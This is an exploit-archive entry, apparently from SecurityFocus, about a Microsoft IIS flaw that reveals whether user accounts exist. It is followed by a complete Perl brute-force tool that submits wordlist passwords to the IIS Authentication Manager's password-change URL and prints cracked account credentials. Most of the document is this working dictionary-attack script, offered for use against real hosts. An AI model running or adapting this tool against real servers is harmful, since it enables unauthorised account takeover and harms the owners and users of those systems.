source: http://www.securityfocus.com/bid/7492/info Microsoft IIS is prone to an issue where the existence of users may be revealed to remote attackers. The vulnerability exists when users attempt to authenticate against a vulnerable system. IIS will generate an error page if authentication fails. Different messages are generated depending on whether the user exists or not. ########################################################################## ################# # Miscrosoft IIS Authentication Manager BruteForce Tool - By JeiAr http://www.gulftech.org ########################################################################## ################# # This tool can be used to brute force user accounts via dictionary attack on the Microsoft # IIS Authentication Manager. More details here http://www.securityfocus.com/archive/1/8515 ########################################################################## ################# use LWP::UserAgent; ########################################################################## ################# # Time to create the new LWP User Agent, Clear the screen, And print out the scripts header ########################################################################## ################# $ua = new LWP::UserAgent; $ua->agent("AgentName/0.1 " . $ua->agent); system('cls'); &header; ########################################################################## ################# # Gather all user inputted data. Such as the domain name, host and location of the wordlist ########################################################################## ################# print "Host: "; $host=<STDIN>; chomp $host; print "Domain: "; $domain=<STDIN>; chomp $domain; print "Account: "; $account=<STDIN>; chomp $account; print "Word List: "; $list=<STDIN>; chomp $list; ########################################################################## ################# # Opens the wordlist and puts the data into an array. afterward setting the count variables ########################################################################## ################# open (DATAFILE, "$list"); @datafile = <DATAFILE>; chomp(@datafile); $length = @datafile; $count = 0; $found = 0; &space; print "Cracked Accounts\n"; print "----------------\n"; ########################################################################## ################# # Creates the HTTP request, Checks the responses, then prints out the username if it exists ########################################################################## ################# while ($count < $length) { $password = (@datafile[$count]); my $req = new HTTP::Request POST => "http://$host/_AuthChangeUrl?"; $req->content_type('application/x-www-form-urlencoded'); $req->content ("domain=$domain&acct=$account&old=$password&new=$password&new2=$password" ); my $res = $ua->request($req); $pattern = "Password successfully changed"; $_ = $res->content; if (/$pattern/) { print "$account : $password\n"; last if (/$pattern/); } $count++; } ########################################################################## ################# # Thats all folks. Prints out the final details and footer. Rest is just the subroutines :) ########################################################################## ################# &space; &footer; sub header { print "IIS Auth Manager Brute Forcing Tool By JeiAr [http://www.gulftech.org] \n"; print "------------------------------------------------------------------- --- \n"; } sub footer { print "Session Results:\n"; print "--------------------\n"; print "Number Of Words : $length \n"; print "Number Of Tries : $count \n"; } sub space { print "\n" x2; }